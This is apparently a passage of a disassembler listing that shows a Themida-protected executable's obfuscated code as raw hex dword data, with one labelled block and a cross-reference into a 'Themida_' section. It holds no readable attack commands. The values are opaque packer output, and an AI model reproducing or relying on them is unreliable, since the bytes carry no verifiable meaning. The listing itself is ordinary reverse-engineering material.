		dd 0E9FDC7B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0AF3A6563h, 44D95FFh
		dd 0D68B05E7h, 57E966B5h, 0B2000019h, 89C08BBAh, 0E706FD85h
		dd 79BD8305h, 5E70Dh, 0BD830975h, 5E71C15h, 50197400h
		dd 0B8C08B53h, 7D2h, 13D58589h,	9D8D05E7h, 5E9AA34h, 585BD3FFh
		dd 1C15BD83h, 740005E7h, 0B8535017h, 7D2h, 13D58589h, 9D8D05E7h
		dd 5E9A723h, 585BD3FFh,	0ECD8589h, 8B6605E7h, 20E680D0h
		dd 0BD89C08Bh, 5E7080Dh, 7F185C7h, 105E7h, 5E90000h, 4E000000h
		dd 0E4EF8E24h, 0E4E7B868h, 0F1B5FFCEh, 8D05E705h, 0E7391785h
		dd 89D0FF05h, 0E70B5185h, 0DBD46805h, 0B5FFC005h, 5E705F1h
		dd 3917858Dh, 0D0FF05E7h, 0AC18589h, 858D05E7h,	5E9F270h
		dd 25B5FF50h, 0FF05E70Ch, 0E70F6195h, 74C00B05h, 8DD88B0Bh
		dd 0EA022385h, 0D3FF5005h, 223858Dh, 836605EAh,	0A750938h
		dd 2E4185C7h, 105E7h, 95FF0000h, 5E71CC9h, 0FF25h, 5F88300h
		dd 85C70A73h, 5E72285h,	1, 8BFB8B66h, 0E715A1BDh, 32BD8005h
		dd 5E9FEh, 11850Fh, 9D010000h, 5E71C99h, 1835E9h, 25BD0300h
		dd 8305E72Bh, 0E72E41BDh, 850F0005h, 0CEh, 68C0Fh, 0BD090000h
		dd 5E726CDh, 0FDFC858Dh, 816005E9h, 103000D0h, 4185292Ch
		dd 6105E72Ch, 49958B50h, 6A05E72Fh, 81BF6601h, 0F006A1Fh
		dd 1589h, 10E900h, 0E1AC0000h, 6048F295h, 0CDE8F011h, 0C3855EA9h
		dd 6A77E4h, 2491BD33h, 95FF05E7h, 5E72055h, 55F9BA66h
		dd 0FE268589h, 8B6605E9h, 6AFF6AF8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8B10C355h
		dd 0E7148595h, 26B5FF05h, 3105E9FEh, 0E7156185h, 0C195FF05h
		dd 6A05E729h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 28D1C357h, 0A580B0EAh,	0A2B92382h
		dd 9E9h, 9D05EB00h, 4F3929B1h, 858DF367h, 5E9F237h, 12E9h
		dd 0D0114000h, 5172DD1Dh, 7E3731Bh, 1CFA32ADh, 5019BAD9h
		dd 8BD78B66h, 0F995FFD1h, 0F05E731h, 383h, 0FA8B6600h
		dd 0EE3CBF66h, 0F2C18589h, 8D8B05E9h, 5E701DDh,	0F244858Dh
		dd 50F505E9h, 1365BD23h, 0B5FF05E7h, 5E9F2C1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F9C35242h, 445E838h
		dd 43AD9E68h, 5ACE8B57h, 0F6195FFh, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 74A1A4C3h
		dd 80D78150h, 5A08C580h, 32E58589h, 0C98105E7h,	66C4050Eh
		dd 0F2B2858Dh, 8E0F05E9h, 0Ch, 68D0Fh, 0BD8B0000h, 5E704CDh
		dd 0C19D0150h, 0E905E722h, 0Dh,	0E2636E35h, 0A31B611Ch
		dd 0F03309D6h, 0C1B5FF7Ah, 0BF05E9F2h, 2AD37D9h, 0F6195FFh
		dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0A823A3C3h, 26898D8Bh, 0D78A05E7h, 0F2D58589h
		dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 7D0BBC3h,	356F1C70h, 10E9887Bh, 0B7000000h
		dd 42B345A1h, 0B4D4404Ah, 987D16E5h, 8DBB79D2h,	0E9F29185h
		dd 91B58905h, 5005E71Ch, 10E9h,	649CF600h, 9BE62A0Ch, 126ADB9Ch
		dd 0DB581D2Dh, 0B5FFF526h, 5E9F2C1h, 4306B966h,	0F6195FFh
		dd 7E905E7h, 86000000h,	0DED39598h, 858935DDh, 5E9F2CDh
		dd 60D2B70Fh, 84858D61h, 8B05E9F2h, 0E713C98Dh,	958B5005h
		dd 5E70055h, 0F2C1B5FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 55AE56C3h, 0E0B65CE1h
		dd 56E4738Eh, 5A616056h, 6195FF5Fh, 6A05E70Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0ADFFC357h, 0BD2829Ah, 0D432CF40h, 2145BD23h, 8B6005E7h
		dd 83F380CFh, 0D1858961h, 6005E9F2h, 0D399D09h,	858B05E7h
		dd 5E7163Dh, 0F5BD8B61h, 8D05E705h, 0E9F29F85h,	0FD9D0905h
		dd 5005E731h, 2AA5B501h, 0B5FF05E7h, 5E9F2C1h, 7D9BD2Bh
		dd 95FF05E7h, 5E70F61h,	2DB58531h, 0BF0F05E7h, 0D8589FEh
		dd 8B05E717h, 0E72D818Dh, 53858D05h, 6A05E9F2h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 7824C353h, 0CC971444h, 8A374640h, 0BD0350D3h, 5E7030Dh
		dd 0F2C1B5FFh, 0A0B105E9h, 0F6195FFh, 958905E7h, 5E7068Dh
		dd 0F2C58589h, 858D05E9h, 5E9F262h
		dd 0E950DCB1h, 5, 522E0A40h, 0C1B5FF71h, 8905E9F2h, 0E72DC195h
		dd 6195FF05h, 8105E70Fh, 0BF23C4D2h, 0AE95Ah, 3CD70000h
		dd 0BF964918h, 844D1CAEh, 0F2C98589h, 6A05E9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0BFBDF3C3h, 0FB47E2Ah, 10468FCh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 72E633C3h
		dd 8DB44DCCh, 0E9F35985h, 0A3E98105h, 5078CE11h, 858DCF8Bh
		dd 5E9F45Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0B2C35747h, 9395D85Eh, 5A515026h, 6A505Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 284C51C3h, 0AC6E74DFh, 89E5E77Ah, 0E72A2985h, 8195FF05h
		dd 8105E708h, 0AA5E36E9h, 34B9662Ch, 0FC085E1h,	685h, 0B5958B00h
		dd 8005E723h, 0E9FE32BDh, 850F0005h, 6,	1370E9F5h, 0BD830000h
		dd 5E72E41h, 30850F00h,	8B000000h, 0DCBD83FAh, 5EA02h
		dd 59840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 190424h, 52420000h, 0B3E47FC3h, 8D2FD0B3h, 0E9F2F685h
		dd 1328E905h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 1804F5C3h, 8F57AC81h, 37E9h, 258D8900h
		dd 8D05E723h, 0E9F2E185h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 47C17DE9h
		dd 0F221DC70h, 8D894C7Ch, 5E7249Dh, 0CDBD8950h,	0E905E729h
		dd 11h,	5B1ECCB5h, 0F5EA27CFh, 73F1EC42h, 8B0874D1h, 59858DF7h
		dd 8105E9F3h, 0AB828AC7h, 0BD83502Bh, 5E72E41h,	29840F00h
		dd 52000000h, 0F5958952h, 5A05E70Ah, 7F858D5Ah,	0F05E9F4h
		dd 8Dh,	17E900h, 8A0F0000h, 8, 2860Fh, 61600000h, 0F468858Dh
		dd 0D58005E9h, 950950FAh, 5E71C19h, 0F4B7858Dh,	0BD8905E9h
		dd 5E70595h, 0C1BD8B50h, 0FF05E72Ah, 0E7062995h, 0F8B70F05h
		dd 4A1CF181h, 0C4837DF1h, 0FE810h, 0D3600000h, 4171ACFBh
		dd 8320DBA2h, 0BAE34B8h, 59A9B25Ch, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 83687AC3h
		dd 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h, 8B535019h
		dd 7D3B8C0h, 85890000h,	5E713D5h, 0AA349D8Dh, 0D3FF05E9h
		dd 0BD83585Bh, 5E71C15h, 50177400h, 7D3B853h, 85890000h
		dd 5E713D5h, 0A7239D8Dh, 0D3FF05E9h, 8589585Bh,	5E72291h
		dd 0CE8AC08Bh, 0F2E1BD81h, 726F05E9h, 840F6165h, 9Ch, 12750BBFh
		dd 59858D62h, 5005E9F3h, 0F496858Dh, 8D5005E9h,	0E9F4B785h
		dd 95FF5005h, 5E70629h,	0C60CC483h, 0E707F985h,	4F684405h
		dd 0FF96A318h, 0E70C25B5h, 17858D05h, 0FF05E739h, 8DD88BD0h
		dd 0E9F4B785h, 0D3FF5005h, 0F2E1858Dh, 8D5005E9h, 0E9F35985h
		dd 0BD835005h, 5E72E41h, 8D087400h, 0E9F47F85h,	8D06EB05h
		dd 0E9F46885h, 858D5005h, 5E9F4B7h, 2995FF50h, 8305E706h
		dd 896010C4h, 0E70BDD9Dh, 1D858905h, 6105E72Ah,	5E8h, 32696000h
		dd 8166DAFEh, 59641EE2h, 1CC995FFh, 0C88A05E7h,	0FF25h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0E8CB2B9Fh, 6, 89CE0EB3h, 0D78B3915h, 5F8835Fh
		dd 46830Fh, 958B0000h, 5E730ADh, 228585C7h, 105E7h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 41669EC3h, 15858DC9h, 8905E9F3h, 0E726659Dh,	3DE905h
		dd 9D890000h, 5E700F5h,	2E41BD83h, 0F0005E7h, 2184h, 10E900h
		dd 0DC140000h, 0F1853425h, 0FA84A50Ah, 0BD3D1C7Eh, 858DE666h
		dd 5E9F340h, 9E9F9h, 858D0000h,	5E9F322h, 8928ED80h, 0E9F35585h
		dd 83CB8B05h, 0E72E41BDh, 850F0005h, 35h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Dh, 27C35343h, 6D7F9AE8h
		dd 1E559D01h, 9FD18062h, 2DCBD83h, 0F0005EAh, 0B84h, 0FF0E900h
		dd 9D890000h, 5E70729h,	45DE9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0E9730916h
		dd 0A483ACEDh, 31699523h, 0C08B05E7h, 80CE8B66h, 0BD8372D9h
		dd 5E70D79h, 83097500h,	0E71C15BDh, 19740005h, 0C08B5350h
		dd 7D4B8h, 0D5858900h, 8D05E713h, 0E9AA349Dh, 5BD3FF05h
		dd 15BD8358h, 5E71Ch, 53501774h, 7D4B8h, 0D5858900h, 8D05E713h
		dd 0E9A7239Dh, 5BD3FF05h, 9D89F958h, 5E71305h, 12E9C08Bh
		dd 0EF000000h, 9C30182Dh, 0A020025Eh, 0E8159E20h, 975DA3B8h
		dd 3F689Fh, 6AF9000Fh, 95BD8900h, 6A05E72Ah, 0C9816600h
		dd 8F0F015Bh, 1Dh, 11E8h, 12EA7200h, 7C8B4FADh,	931AEDD7h
		dd 4049DA3Dh, 0BD8B4D1Dh, 5E730C1h, 0E595FF5Fh,	6A05E732h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 683CC353h, 7D9AB686h, 0B96607F4h,	0C0853E5Dh
		dd 0B850Fh, 6E90000h, 0A0000000h, 6371FE0Bh, 0D985894Fh
		dd 905E9F2h, 0E70E8195h, 97F3BF05h, 6A138Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 78C35141h, 0B6243649h
		dd 8B9CCA58h, 0E732E9BDh, 0BA006A05h, 7C9A85FFh, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 47C36EC3h, 0E2C11ED2h, 66CB8BC2h, 6AA0C1B9h,	6ACA8A00h
		dd 3D958B00h, 8D05E716h, 0E9F4B785h, 9E85005h, 8D000000h
		dd 0CB7A8894h, 0EE02D466h, 59B3BF66h, 5650595Ah, 13ADBD8Bh
		dd 895A05E7h, 0E70AA58Dh, 0B6016A05h, 8B016A6Eh, 0F016AF8h
		dd 184h, 0FF68F800h, 0F000F01h,	8Dh, 41BD8300h,	5E72Eh
		dd 39840Fh, 0B5890000h,	5E70B55h, 0F336858Dh, 0E95005E9h
		dd 9, 0B0C1DC10h, 0D80A5291h, 606059A1h, 858BDA8Bh, 5E731CDh
		dd 91BD2961h, 6105E72Eh, 18E9h,	0CD9D8900h, 8D05E726h
		dd 0E9F30C85h, 68D0F05h, 2B000000h, 0E72F0995h,	95895005h
		dd 5E7147Dh, 459D0150h,	0FF05E732h, 0E9F2D9B5h,	11958B05h
		dd 0FF05E717h, 0E9F2C595h, 0D2816605h, 95296D4Eh, 5E72B49h
		dd 850FC085h, 71h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 28C35141h, 0EC796D27h, 7E85D56h, 36000000h
		dd 0F7692F6Fh, 0BD8BABE4h, 5E707E1h, 0BAE959h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 514DE3C3h, 0B1F030DCh, 0FE926h, 5D280000h, 4F7327DEh
		dd 36542CF1h, 0DBE42779h, 0DD858952h, 6A05E9F2h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5532C357h, 0EFD6419Dh, 8880FBCh, 52000000h, 2261958Bh
		dd 8A5905E7h, 0DDB5FFD3h, 6A05E9F2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6671C351h
		dd 0FF19A4B9h, 0E7170D95h, 0F98B6605h, 850FC085h, 14h
		dd 2830Fh, 12B10000h, 6880Fh, 8D8B0000h, 5E703FDh, 0B589106Ah
		dd 5E70441h
		dd 2E41BD83h, 0F0005E7h, 2984h,	2D958B00h, 8D05E723h, 0E9F33685h
		dd 0C9F58005h, 21E9h, 0CE800h, 2A360000h, 2F8A088h, 0FFE3EBAAh
		dd 0BF0FE6CDh, 858D5AC9h, 5E9F30Ch, 69BDE981h, 8B5068D5h
		dd 0E72D758Dh, 0D9B5FF05h, 8B05E9F2h, 0D195FFC8h, 8B05E9F2h
		dd 0E7258595h, 0FC08505h, 385h,	0C9B70F00h, 0F2DD8589h
		dd 666005E9h, 8175DCBEh, 0B6A5FBE3h, 6A617Eh, 7DB58957h
		dd 5A05E717h, 0BA66006Ah, 0B5FF815Fh, 5E9F2DDh,	31852B60h
		dd 5705E709h, 2D51BD89h, 615B05E7h, 0F2C995FFh,	4BA05E9h
		dd 8561DC7Ch, 13850FC0h, 0E9000000h, 0Eh, 4D62E3A0h, 68A6DE7Ah
		dd 0E7094240h, 0B5FF6A8Ah, 5E9F2DDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 39C35747h, 38B96969h, 0FFCE9B28h
		dd 0E7170D95h, 0F1F9BF05h, 0C0855EC2h, 850Fh, 6A0000h
		dd 218D8589h, 0BA6605E7h, 8068400Eh, 51000000h,	27F1BD89h
		dd 6A5905E7h, 6880F03h,	8B000000h, 0E70CA1BDh, 89006A05h
		dd 0E72A9995h, 0F006A05h, 48Ah,	3EB96600h, 68F1h, 8166C000h
		dd 0FFD1B4E2h, 0E9F355B5h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 6D0AC9C5h
		dd 95FFB7DEh, 5E70379h,	0FFF883FCh, 496850Fh, 958B0000h
		dd 5E72D61h, 0FDC385FFh, 0BD8B05E9h, 5E71A21h, 0FDC3BD83h
		dd 0F0205E9h, 39A84h, 0D9BD8B00h, 8D05E706h, 5AF59F85h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 81D0FF4Ah, 80DAADD9h, 0F2858D76h, 0F005AEFh
		dd 58Fh, 0A098BF00h, 0D0FF61DBh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 1AC35646h, 0A3E4AF1Dh, 8B13FDE9h
		dd 858953C0h, 5E715C9h,	79BD835Ah, 5E70Dh, 0BD830975h
		dd 5E71C15h, 50197400h,	0B8C08B53h, 7D8h, 13D58589h, 9D8D05E7h
		dd 5E9AA34h, 585BD3FFh,	1C15BD83h, 740005E7h, 0B8535017h
		dd 7D8h, 13D58589h, 9D8D05E7h, 5E9A723h, 585BD3FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4BC35343h, 54117C2Dh
		dd 10E9E005h, 0B9000000h, 7943471Ah, 1737186Ah,	4639BEC8h
		dd 0FC1F562Eh, 9589C08Bh, 5E71721h, 0F003F68h, 0DBD2900h
		dd 6A05E704h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0B1AAF083h, 0A87EEED8h, 6A006AE3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FF11C357h, 0E732E595h, 0C085F505h, 13E8h
		dd 75902A00h, 6BA75F2Fh
dword_570720	dd 971A6958h, 8950C642h, 32C14E37h, 895AFE8Bh, 0E9F2D985h
					; DATA XREF: Themida_:loc_5495BCo
		dd 39858905h, 6805E702h, 0F01FFh, 0EAD8D8Bh, 0B58905E7h
		dd 5E70F0Dh, 2E41BD83h,	0F0005E7h, 5384h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0FA269E53h, 819523A8h, 8D05E715h, 0E9F33685h, 0D78B6605h
		dd 48E9h, 13E800h, 0BEFE0000h, 0F6AEB917h, 0F85A6B99h
		dd 0AC72869Ch, 2320BB1Eh, 3D952317h, 5A05E700h,	0F30C858Dh
		dd 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0F581F3C3h, 0BC7A3BB7h, 6657509Ch, 0FF59D78Bh
		dd 0E9F2D9B5h, 69958B05h, 0FF05E725h, 0E9F2D195h, 0E76DBF05h
		dd 85893251h, 5E9F2DDh,	0C7D3B70Fh, 0E72C6D85h,	5, 0DDBD8300h
		dd 5E9F2h, 125840Fh, 95890000h,	5E725C1h, 0F5BB858Dh, 852905E9h
		dd 5E71CE5h, 816650FCh,	6A169CDAh, 81665201h, 594F9AEAh
		dd 0F2DDB5FFh, 0F48A05E9h, 0F2D595FFh, 0B70F05E9h, 15958BC8h
		dd 0FF05E70Eh, 0E9F2DDB5h, 0A9B58905h, 0FF05E726h, 0E7170D95h
		dd 1FF6805h, 6A000Fh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 921E05C3h, 8B5367A8h, 0BD835AD0h
		dd 5E72E41h, 20840F00h,	0F000000h, 380h, 0F8B70F00h, 0F336858Dh
		dd 858905E9h, 5E722D1h,	22E9h, 59D8900h, 8D05E723h, 0E9F30C85h
		dd 98D98005h, 0EE9h, 69C37800h,	0FA062203h, 0C2D01088h
		dd 506729C7h, 25558D8Bh, 0B58905E7h, 5E7008Dh, 0F2D9B5FFh
		dd 0B53105E9h, 5E71279h, 0D195FFF9h, 0E905E9F2h, 0Bh, 6F37E015h
		dd 56A1F6E6h, 892A91B8h, 0E9F2DD85h, 0CAE18105h, 0FF607236h
		dd 0E9F2DDB5h, 3DBD3305h, 0FF05E716h, 0E9F2CD95h, 0DDB58905h
		dd 0FF05E71Ah, 0E9F2DDB5h, 0FF02B505h, 0E7170D95h, 81BD8B05h
		dd 0E905E715h, 0FFFFF7B6h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 4DC35242h, 0FF21720Dh, 0E9FE26B5h, 0AD8D8B05h
		dd 0FF05E721h, 0E732CD95h, 59BA6605h, 0E9858BDBh, 6A05E708h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0B1CC357h, 29AE309Ah, 0E71311B5h,	545E905h
		dd 4FB10000h, 0F5DBB58Dh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8DA6ECC3h, 0E9A41F85h
		dd 0BDB52905h, 0B105E708h, 80D0FFE7h, 6AF0F5h, 25499523h
		dd 95FF05E7h, 5E727D1h,	8BCBBF0Fh, 119589F3h, 8D05E713h
		dd 0E9A41F85h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0B8C7EB2Eh, 0D18B6653h
		dd 0FFF88B59h, 71BD89D0h, 6A05E72Fh, 0B1BD8B00h, 0FF05E732h
		dd 0E727D195h, 0D7B70F05h, 9E8C08Bh, 0EA000000h, 379F9034h
		dd 17998A94h, 5E8h, 0F8795100h,	0B589E0B5h, 5E700C5h, 0BD835959h
		dd 5E70D79h, 83097500h,	0E71C15BDh, 19740005h, 0C08B5350h
		dd 7D9B8h, 0D5858900h, 8D05E713h, 0E9AA349Dh, 5BD3FF05h
		dd 15BD8358h, 5E71Ch, 53501774h, 7D9B8h, 0D5858900h, 8D05E713h
		dd 0E9A7239Dh, 5BD3FF05h, 6840F58h, 31000000h, 0E72E8595h
		dd 50C08B05h, 0F98B6656h, 0B1D88B5Fh, 9D8D53D3h, 5E713E5h
		dd 389038Bh, 8950438Bh,	9D8D5043h, 5E9FDBFh, 389038Bh
		dd 0E281665Bh, 0B9665CE9h, 6AF954h, 4D58D03h, 858D05E7h
		dd 5E9FDBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0A7C35242h, 2621958Bh, 8B5005E7h, 0E70DADBDh, 0F5606A05h
		dd 13E5858Dh, 0BD2905E7h, 5E73119h, 499BD2Bh, 895005E7h
		dd 0E721A5B5h, 38F0F05h, 66000000h, 6AC88Bh, 68C0Fh, 0BD8B0000h
		dd 5E725D1h, 0BF66006Ah, 68F4FAh, 6A000018h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 3C7AC350h, 0C05149ADh, 85893527h, 5E70E8Dh, 0CE960h
		dd 5D250000h, 2A605B39h, 80F677F2h, 0BF0FD8ABh,	815361F6h
		dd 0E9D81FE7h, 4D95FF27h, 6605E704h, 0E974C3B9h, 0Fh, 56AFDF09h
		dd 3A5DECEEh, 0DD752E77h, 0FF07A31Ah, 0E70CC595h, 49958905h
		dd 0FF05E726h, 0E9FE26B5h, 1DF18005h, 32CD95FFh, 8D8B05E7h
		dd 5E70231h, 10E9h, 0D0372B00h,	0B3176883h, 96F40694h
		dd 82B07Ch, 0E5858D74h,	0E905E713h, 0Dh, 0C84E4C4Fh, 0F0BCAE1Fh
		dd 0B5920DEDh, 18408B92h, 818D2352h, 5905E731h,	4D185C7h
		dd 5E7h, 0A1BF0000h, 83242791h,	0E72E41BDh, 840F0005h
		dd 49h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
		dd 24C35343h, 82D050B7h, 57879AE0h, 59C8B70Fh, 2B9D9D89h
		dd 8C3D05E7h, 0F000000h, 17F83h, 0DFE98100h, 0E902D3B6h
		dd 15h,	8B66D68Bh, 963DC8h, 830F0000h, 164h, 971A49B9h
		dd 9F858D7Dh, 0F005AF5h, 689h, 0E19D2900h, 0FF05E701h
		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0ED02CD63h, 0BF5B589h, 858D05E7h, 5AEFF2h
		dd 74E1CA81h, 8B60522Bh, 0E702C995h, 19950905h,	6105E717h
		dd 8166D0FFh, 8B1AFED7h, 666052C0h, 3B583BFh, 0E70D9D8Dh
		dd 835A6105h, 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h
		dd 8B535019h, 0BC6B8C0h, 85890000h, 5E713D5h, 0AA349D8Dh
		dd 0D3FF05E9h, 0BD83585Bh, 5E71C15h, 50177400h,	0BC6B853h
		dd 85890000h, 5E713D5h,	0A7239D8Dh, 0D3FF05E9h,	0CA8A585Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1CC35242h
		dd 82F6B98Fh, 85890296h, 5E71511h, 11E8C08Bh, 4B000000h
		dd 2A373583h, 12430AFFh, 8A1DD76Ch, 0BC3A0088h,	19E9BD01h
		dd 835905E7h, 850FFFF8h, 38h, 0E1B58960h, 0F05E712h, 287h
		dd 61616000h, 0B681D181h, 85C71C31h, 5E70CD9h, 0
aFbsCsx		db 'fá!–éå',0
		dd 66510000h, 48B3F181h, 17E95Fh, 0EC8A0000h, 0F01F883h
		dd 0C85h, 10E9F800h, 0F000001h,	83h, 0F310E900h, 9501FFFFh
		dd 5E70801h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0C86009C3h, 8A2A2811h, 8394B2DFh
		dd 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h, 8B535019h
		dd 7DDB8C0h, 85890000h,	5E713D5h, 0AA349D8Dh, 0D3FF05E9h
		dd 0BD83585Bh, 5E71C15h, 50177400h, 7DDB853h, 85890000h
		dd 5E713D5h, 0A7239D8Dh, 0D3FF05E9h, 0BF66585Bh, 6AD4E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 2E4A38C3h, 19E65892h, 958957C9h, 5E720C9h, 0D585015Fh
		dd 8B05E726h, 17E9F5C0h, 8A000002h, 0ED958BCAh,	8D05E70Bh
		dd 0E9FBC385h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0E6362BBCh, 0DCD9589h
		dd 8E905E7h, 89000000h,	0B51F7500h, 89D3B57Dh, 0E9FDBB85h
		dd 4ACE8005h, 37E9h, 8D07B200h,	0E9F9CB85h, 6880F05h, 89000000h
		dd 0E72F259Dh, 4025B505h, 68B0Fh, 952B0000h, 5E72F41h
		dd 0FDBB8589h, 9E905E9h, 44000000h, 0E0F27D60h,	0E048722Ah
		dd 858D346Ah, 5E71489h,	0BBB5FF50h, 6A05E9FDh, 0A995FF00h
		dd 8305E70Ah, 840F07F8h, 162h, 0F6DB8C66h, 850F04C3h, 0FCh
		dd 7F985C6h, 685605E7h,	9CA8B852h, 0C25B5FFh, 858D05E7h
		dd 5E73917h, 46AD0FFh, 100068h,	6A646A00h, 89D0FF00h, 0E9FE2E85h
		dd 0F985C605h, 4705E707h, 18AC9B68h, 25B5FFECh,	8D05E70Ch
		dd 0E7391785h, 0FFD0FF05h, 0C6F08BD0h, 0E707F985h, 61684F05h
		dd 0FFC62F26h, 0E705F1B5h, 17858D05h, 0FF05E739h, 2A9D8DD0h
		dd 5305E9FEh, 0FF56286Ah, 75C085D0h, 0F985C600h, 4105E707h
		dd 87649868h, 0F1B5FFDBh, 8D05E705h, 0E7391785h, 89D0FF05h
		dd 0E9FE4785h, 0F985C605h, 4C05E707h, 0A4E7A468h, 0F1B5FF80h
		dd 8D05E705h, 0E7391785h, 8BD0FF05h, 0E9FE2E9Dh, 45B8D05h
		dd 339D8D53h, 5305E9FEh, 0D0FF006Ah, 0FE2E9D8Bh, 3C705E9h
		dd 1, 20C43C7h,	0C7000000h, 0E71B9585h,	5, 6A006A00h, 8B006A00h
		dd 0E9FE2E9Dh, 6A5305h,	0FE2AB5FFh, 95FF05E9h, 5E9FE47h
		dd 7F985C6h, 684505E7h,	92A5F797h, 13C5B5FFh, 858D05E7h
		dd 5E73917h, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h
		dd 0FE2E9D8Bh, 43C705E9h, 0Ch, 6A006A00h, 2E9D8B00h, 5305E9FEh
		dd 0B5FF006Ah, 5E9FE2Ah, 0FE4795FFh, 0B5FF05E9h, 5E9FE2Ah
		dd 0CC595FFh, 6A05E7h, 27D195FFh, 0F3B605E7h, 260D9D09h
		dd 858D05E7h, 5EA2F56h,	2259D89h, 6A5005E7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 6796C351h, 775E0B40h, 4D55E2F2h, 3C28B60h, 0E7323995h
		dd 81666105h, 0E96912DAh, 5, 1B53BFF1h,	35FF6405h, 0
		dd 11E9h, 61F8D500h, 4169811Fh,	2A278FEAh, 0FCEAFCCFh
		dd 896421F7h, 25h, 0AE900h, 4CB90000h, 0AAB2A790h, 2C33E5FBh
		dd 3301BD83h, 0F0005E7h, 3484h,	18D8900h, 8305E70Eh, 0E707F1BDh
		dd 850F0105h, 21h, 21E98D2Bh, 0BD8005E7h, 5EA0247h, 0E850F00h
		dd 66000000h, 4AE9C88Bh, 89000001h, 0E704A1BDh,	0FDB3305h
		dd 384h, 0CBB70F00h, 12BFC033h,	40483EA2h, 0B073F0Fh, 58F64h
		dd 83000000h, 0FE904C4h, 0DD000000h, 0F6B71A89h, 0E36A92C0h
		dd 199199ACh, 0B9664252h, 0FB83A3E6h, 17840FFFh, 89000000h
		dd 0E70BFD95h, 0EDE905h, 830F0000h, 6, 1765BD8Bh, 8CE905E7h
		dd 89000000h, 0E70BC195h, 9ADA8105h, 8B71CED1h,	0C70C244Ch
